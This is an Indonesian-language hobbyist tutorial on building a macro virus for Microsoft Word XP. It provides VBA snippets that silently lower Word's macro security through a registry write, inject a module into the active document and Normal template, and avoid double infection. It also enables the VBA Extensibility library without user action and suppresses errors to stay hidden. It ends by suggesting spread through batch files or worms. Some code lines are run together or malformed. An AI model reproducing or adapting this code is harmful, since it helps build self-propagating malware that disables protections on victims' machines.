Teknik pembuatan virus makro pada Microsoft Word XP

(Ih judulnya formal banget) Sebenarnya artikel ini dibuat karena saya tertarik dengan artikel sevenC, tentang
pembahasannya membuat virus makro pada Microsoft Word 2000.

Tetapi karena sistem keamanan Microsoft Word XP berbeda dengan Microsoft Word 2000, maka saya ingin mengulas sedikit tentang teknik peng-copyan modulnya. Sebelumnya coba lihat dulu sebagian source kode ini: 

System.PrivateProfileString 
("","HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security",
"Level") = 1& On Error Resume Next
Set NorTemp = NormalTemplate.VBProject
Set Aktif = ActiveDocument.VBProject
Set modulbaru =  ActiveDocument.VBProject.VBComponents.Add(vbext_ct_StdModule)
If modulbaru.Name <> "coba" Thenmodulbaru.Name = "coba"
If (ActiveDocument.VBProject.VBComponents.Count < 2) And (ActiveDocument.VBProject.VBComponents.Count >= 1) Then
Else:
eror
End if
On Error Resume Next
NormalTemplate.VBProject.References.AddFromFile ("C:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\vbe6ext.olb")Set NorTemp = NormalTemplate.VBProject
On Error Resume Next
ActiveDocument.VBProject.References.AddFromFile ("C:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\vbe6ext.olb")

Dalam Microsoft Word XP Registry untuk membuat rendah sistem keamanan macro security-nya hampir sama dengan Microsoft Word 2000, yang membedakan hanya versi yang tertera pada registry tersebut.

Pada Microsoft Word 2000:
System.PrivateProfileString("","HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security",
"Level") = 1&

Pada Microsoft Word XP:
System.PrivateProfileString("","HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security",
"Level") = 1&

Kelihatan kan perbedaanya hanya pada versinya saja

- Untuk teknik pembuatan module antar dokumen yang aktif hampir sama, cuma saya disini memakai syntax yang berbeda dengan sevenC (hi..hi..hi), bisa dilihat pada source code di bawah ni :

On Error Resume Next
Set NorTemp = NormalTemplate.VBProject
Set Aktif = ActiveDocument.VBProject
Set modulbaru =
ActiveDocument.VBProject.VBComponents.Add(vbext_ct_StdModule)
If modulbaru.Name <> "coba" Then
modulbaru.Name = "coba"

-kalau sudah untuk mencegah agar virus tidak menulari dokumen tersebut 2 kali tambahkan perintah:
If (ActiveDocument.VBProject.VBComponents.Count < 2) And (ActiveDocument.VBProject.VBComponents.Count >= 1) Then

'routine infeksi

Else:
eror --> sub error handler yang dibuat dengan membuat subkosong, contoh

sub eror()
'kalian bisa memasukkan perintah apa saja di sini, kalau saya lebih suka kosong sih hihhi...end sub

MASALAH:
Tetapi untuk menjalankan routine ini kita harus menyalakanLibrari Microsoft Visual Basic for Applications Extensibility 5.03 yang ada pada Visual basic Editor di Menu 'tools', sub menu 'reference'. Bila kita tidak memakai librari tersebut akan memunculkan pesan error. Gimana dong cara menyalakannya dengan otomatis tanpa harus mengklik menu tsb pada Word?

SOLUSI:
Masuk ke Visual Basic Editor,ke menu tools, reference, cari library yang bernama Microsoft Visual Basic for Applications Extensibility 5.03, kemudian klik, dan keluar dari menu tersebut.dan Jalankan source kode.

atau dengan cara tersembunyi yaitu dengan menggunakan file vbe6ext.olb yang ada pada path C:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\ , karena file tersebut yang dapat menjalankan type library untuk Microsoft Visual Basic for Applications Extensibility 5.03, maka ketikkan :

On Error Resume Next
NormalTemplate.VBProject.References.AddFromFile ("C:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\vbe6ext.olb")Set NorTemp = NormalTemplate.VBProject

kalau yang diatas untuk mengeset normal templatenya, sedangkan yang ini untuk mengeset agar Microsoft Visual Basic for Applications Extensibility 5.03 aktif di dokumen yang lagi aktif :

On Error Resume Next
ActiveDocument.VBProject.References.AddFromFile ("C:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\vbe6ext.olb")

Wah....selesai degh....kamu bisa masuk ke Microsoft Office XP  dengan routine tersebut, terserah penyebarannya mau dengan  memakai .bat, atau dengan worm, up to you.....makasih buat saran kritik n caci maki....

"in digital century someone can be a famous in ten minute"-->  deu nyontek bo.....

Thanks to:

- created by :
SPY-ONO|LAGI|MAEN
Berikan Pendapat Anda Untuk Artikel Ini